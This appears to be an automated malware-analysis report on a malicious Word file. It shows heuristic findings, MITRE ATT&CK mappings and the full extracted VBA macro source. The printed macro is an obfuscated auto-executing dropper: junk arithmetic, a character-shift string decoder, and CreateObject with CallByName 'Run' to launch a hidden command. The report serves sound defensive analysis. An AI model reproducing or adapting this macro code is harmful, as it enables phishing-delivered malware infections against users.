MALICIOUS
170
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains VBA macros, including an AutOOpen macro, which is a common technique for executing malicious code upon opening the document. High-severity heuristics indicate the use of CreateObject and CallByName, suggesting the macro attempts to execute arbitrary code. The script's obfuscated nature and use of string concatenation for potentially malicious commands make it difficult to determine the exact payload, but the overall pattern points to a downloader or dropper.
Heuristics 7
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Private Sub ramawayd_Change() Set seenoevil54321 = CreateObject(paulbill) ic512408 = 49 * 206 -
CallByName call high OLE_VBA_CALLBYNAMECallByName callMatched line in script
fr = "Run" CallByName playthomas, fr, VbMethod, ukin2222.ramawayd, 0, True End Sub -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Customizable = True Sub AutOOpen() moreytmc -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7630 bytes |
SHA-256: ea2df00bb497e71f7d295f536e5aba4a6c73bef0e50331e3ef77fb4d43d129f6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutOOpen()
moreytmc
festshai = 146 + 24
festshai = festshai * 262 - festshai - 256 - festsha
festshai = 263 + 172 * 179 - 2
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
End Sub
Attribute VB_Name = "blissgre"
Function htmmirage(sarahjames, ayaksvonerdek)
htmmirage = athaaaaaa(ukin2222.sxmnc666) + sarahjames + athaaaaaa(steebrea.ncymoorc) + _
ayaksvonerdek + athaaaaaa(ukin2222.JUNE1484 + ukin2222.utrirife) + ayaksvonerdek
End Function
Function anihsumeS()
anihsumeS = tsetlaeo.docadmin
End Function
Attribute VB_Name = "cingiodb"
Function reapglan()
reapglan = "h[Q/uimgs]ogcEmaQEg[Rjgixaha/Es/l"
End Function
Sub moreytmc()
Randomize
tsetlaeo.gjkfufnm = "lucassassy"
End Sub
Attribute VB_Name = "dreanid2"
Function buffymitch(vivsus43, AYANNESEL, uretvark, tmac0317)
ukin2222.ramawayd = htmmirage(vivsus43, AYANNESEL) + thievliq(vivsus43, uretvark) + cgipanther(tmac0317)
End Function
Sub swashbra(playthomas)
fr = "Run"
CallByName playthomas, fr, VbMethod, ukin2222.ramawayd, 0, True
End Sub
Attribute VB_Name = "jandrizzt"
Function ms170620(AYATIVAD, hoehierg)
ms170620 = user1977(Int((AYATIVAD * Rnd()) + hoehierg))
End Function
Function user1977(grinnuny)
user1977 = CInt(grinnuny)
End Function
Attribute VB_Name = "JANUARY1051"
Function decathlon()
decathlon = legsovetov.dukeguep
End Function
Function jd051703()
jd051703 = ukin2222.welcome333
End Function
Attribute VB_Name = "knicks139"
Function niksaynhsK(Gjnthzdi As String, zeng5888 As Integer) As String
Dim hannaangel As Integer
festshai = 263 + 172 * 179 - 2
festshai = 217 + 215 + festshai * festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
hannaangel = 0
For bebthrop = 1 To 90
If (addresscat(lawcastle, bebthrop) = Gjnthzdi) Then
hannaangel = bebthrop
Exit For
End If
festshai = 263 + 172 * 179 - 2
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
Next bebthrop
hannaangel = IIf(hannaangel - zeng5888 <= 0, 90 + hannaangel - zeng5888, hannaangel - zeng5888)
festshai = 263 + 172 * 179 - 2
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
niksaynhsK = addresscat(lawcastle, hannaangel)
End Function
Attribute VB_Name = "tsetlaeo"
Attribute VB_Base = "0{11200ACB-C523-48F1-982F-FBBE2FCFE15A}{EDCCA2D1-3F90-44D2-AFB1-4DE3FBCC3D69}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub gjkfufnm_Change()
shamkreu = pilcher1(decathlon)
ld335832 = pilcher1(decathlon)
AYAKSVETPER = pilcher1(jd051703)
slogstok = pilcher1(jd051703)
iiksvokhcnuaZ = 7 + 245
iiksvokhcnuaZ = 78 - iiksvokhcnuaZ * iiksvokhcnuaZ - 66 - 175 + 19
iiksvokhcnuaZ = iiksvokhcnuaZ - 99 * 9 * 17
buffymitch shamkreu, ld335832, AYAKSVETPER, slogstok
End Sub
Attribute VB_Name = "legsovetov"
Attribute VB_Base = "0{47FB7652-4897-4A7C-B68A-8B64D9A07938}{1B24F916-A09F-421E-BDA5-5B6D3F57163F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "pmcwarren"
Function pilcher1(buckspirit)
fadglomw = ms170620(9, 4) - 1
ivventep = ms170620(53, 1)
festshai = 263 + 172 * 179 - 2
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
akluxhoa = addresscat(anihsumeS, ivventep)
For indigoryan = 2 To fadglomw
ivventep = ms170620(27, 1)
akluxhoa = akluxhoa + addresscat(buckspirit, ivventep)
Next indigoryan
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
ivventep = ms170620(37, 1)
akluxhoa = akluxhoa + addresscat(technetium, ivventep)
festshai = 263 + 172 * 179 - 2
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
pilcher1 = akluxhoa
End Function
Attribute VB_Name = "ream81375"
Attribute VB_Base = "0{9D9496C3-3327-46AE-B57C-41E329C1C658}{5A75C826-8184-4469-B26A-57A0FEF55E49}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "settlement"
Function lawcastle()
lawcastle = tsetlaeo.votokehC
End Function
Function technetium()
technetium = ukin2222.wwwl2
End Function
Function addresscat(crowsnug, beerjimbob)
festshai = 263 + 172 * 179 - 2
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
addresscat = Mid(crowsnug, beerjimbob, 1)
End Function
Function rosesannie()
rosesannie = "zghwsacEmaQEscRjgixaha/Es/l"
End Function
Attribute VB_Name = "steebrea"
Attribute VB_Base = "0{87B9F862-04C3-4F6D-873B-BDE8ACB21903}{DEC1A682-E67A-436B-BDC7-EBE1286BC8C4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "ukin2222"
Attribute VB_Base = "0{395B24E1-F358-4040-9D54-0E3DB48E9140}{33C6C32E-2831-49E2-ABBC-5A8C03F26978}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CheckBox1_Click()
End Sub
Private Sub CommandButton1_Click()
End Sub
Private Sub Label1_Click()
End Sub
Private Sub ramawayd_Change()
Set seenoevil54321 = CreateObject(paulbill)
ic512408 = 49 * 206
ic512408 = 226 + 3
ic512408 = 176 - 74 * 271 + 20
swashbra seenoevil54321
End Sub
Private Sub ToggleButton1_Click()
End Sub
Attribute VB_Name = "tweezbri"
Function paulbill()
paulbill = pai147258
End Function
Function pai147258()
pai147258 = athaaaaaa(legsovetov.dana1134)
End Function
Attribute VB_Name = "tobyspeech"
Function athaaaaaa(zheccrbq)
aveutpeT = ""
festshai = 263 + 172 * 179 - 2
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
annesoft = Len(zheccrbq)
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
For lattulep = 1 To annesoft
aveutpeT = aveutpeT + niksaynhsK(addresscat(zheccrbq, lattulep), 4)
Next lattulep
festshai = 263 + 172 * 179 - 2
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
athaaaaaa = aveutpeT
End Function
Function cgipanther(marcel200)
cgipanther = reapglan + athaaaaaa(ream81375.escafe246) + marcel200 + _
athaaaaaa(ream81375.nobwortm) + marcel200 + athaaaaaa(tsetlaeo.pcigerald)
End Function
Attribute VB_Name = "todayamour"
Function thievliq(baby666888, chiefskim)
thievliq = athaaaaaa(steebrea.AYAKSVOMIL) + chiefskim + athaaaaaa(steebrea.iinrogirP) + _
chiefskim + athaaaaaa(steebrea.cauterizat) + baby666888 + _
athaaaaaa(ream81375.vohsretaM + rosesannie + legsovetov.GORBATEN) + baby666888 + athaaaaaa(ream81375.vohsretaM)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.